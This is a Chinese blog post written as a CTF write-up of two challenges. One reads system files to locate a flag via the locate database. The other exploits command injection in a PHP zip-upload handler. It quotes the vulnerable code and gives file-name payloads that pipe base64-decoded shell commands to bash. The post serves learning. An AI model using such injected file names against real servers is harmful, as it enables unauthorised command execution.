Z1d10tのBlog

A note for myself,have fun!

  1. 1. 前言
  2. 2. 正题
    1. 2.1. d3readfile(Misc)
    2. 2.2. d3cloud(Web)
      1. 2.2.1. 小总结一下:
  3. 3. 尾巴

菜鸡的自我羞辱

前言

有稍微看了下这个比赛,一眼就不属于我这个水平人做的,稍稍看了一道披着web皮的misc,感觉稍微有点思路,赛后看看大佬们的wp,给自己涨涨见识。

正题

d3readfile(Misc)

老套路先读读/etc/passwd可以读到

img

再看看环境变量

img

发现hint 解码发现提示

img

提示关键字是locate

看了大佬的wp:locate 命令是查询文件所在位置的,会在本地缓存数据库,文件名为:locate.db,不同版本似乎缓存的目录并不一样

问问chatgpt

img

img

不同的linux系统位置不同

  • Ubuntu / Debian:/var/lib/mlocate/mlocate.db
  • CentOS / Fedora / RHEL:/var/lib/locatedb
  • Arch Linux:/var/lib/pacman/local/mlocate*/mtree
  • Gentoo: /var/cache/edb/locate.database
  • Slackware: /var/lib/slocate/slocate.db
  • FreeBSD: /var/db/locate.database
  • OpenSUSE:/var/lib/slocate/slocate.db
  • Mageia:/var/lib/mageia/mlocate.db
  • Oracle Linux:/var/cache/locate/locatedb

最后发现是

1
Oracle Linux:/var/cache/locate/locatedb

发现flag路径:opt/vwMDP4unF4cvqHrztduv4hpCw9H9Sdfh/UuRez4TstSQEXZpK74VoKWQc2KBubVZi/LcXAfeaD2KLrV8zBpuPdgsbVpGqLcykz/flag_1s_h3re_233

img

Get it!

img

d3cloud(Web)

这题看大佬WP是unzip处命令注入

界面ui什么用都没有 直接进admin后台 /admin

要登陆 admin/admin

img

发现一个php文件

这里看wp是与官方文档相比多了点代码,那么做这道题还需要现场搭环境和代码审计qwq tql

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function putFileAs($path, $file, $name, $options = [])
{
$supported_file = array('gif','jpg','jpeg','png','ico','zip','mp4','mp3','mkv','avi','txt');
$file_type= strtolower(pathinfo($name,PATHINFO_EXTENSION));
if (!in_array($file_type, $supported_file)) {
return false;
}
$stream = fopen($file->getRealPath(), 'r+');
$result = $this->put(
$path = trim($path.'/'.$name, '/'), $stream, $options
);
if (is_resource($stream)) {
fclose($stream);
}
if($file->getClientOriginalExtension() === "zip") {
$fs = popen("unzip -oq ". $this->driver->getAdapter()->getPathPrefix() . $name ." -d " . $this->driver->getAdapter()->getPathPrefix(),"w");
pclose($fs);
}
return $result ? $path : false;
}

是这里存在命令注入

1
2
3
if($file->getClientOriginalExtension() === "zip") {
$fs = popen("unzip -oq ". $this->driver->getAdapter()->getPathPrefix() . $name ." -d " . $this->driver->getAdapter()->getPathPrefix(),"w");
pclose($fs);

看大佬分析unzip命令如下:

1
unzip -oq /WWW/d3cloud/storage/app/1.zip -d /WWW/d3cloud/storage/app/

然后利用zip文件名写shell

1
2
1;echo bHMgLz4gL3Zhci93d3cvaHRtbC9wdWJsaWMvbHMudHh0|base64 -
d|bash;.zip

简单解释一下 将ls /结果重定向到/var/www/html/public/ls.txt文件中

这里必须有换行符 不然写不进入 估计是代码审计中文件名处有转义或者别的操作 通过换行绕过

还有一个疑问就是写入文件的路径是怎么获取的?是自己搭环境弄到的吗qwq

img

直接访问ls.txt

img

继续和上面一样的操作

1
2
1;echo Y2F0IC9mbDFBZz4gL3Zhci93d3cvaHRtbC9wdWJsaWMvZmxhZy50eHQ=|base64 -
d|bash;.zip

img

小总结一下:

很多难题还是需要获取到相关版本后,需要自己本地搭建去调试,才能慢慢发现漏洞

代码审计能力很重要qwq

尾巴

其他的wp都看不懂 还是慢慢来吧

看了一下这种真正难的ctf 大大的寄写在我脸上

本文最后更新于 天前,文中所描述的信息可能已发生改变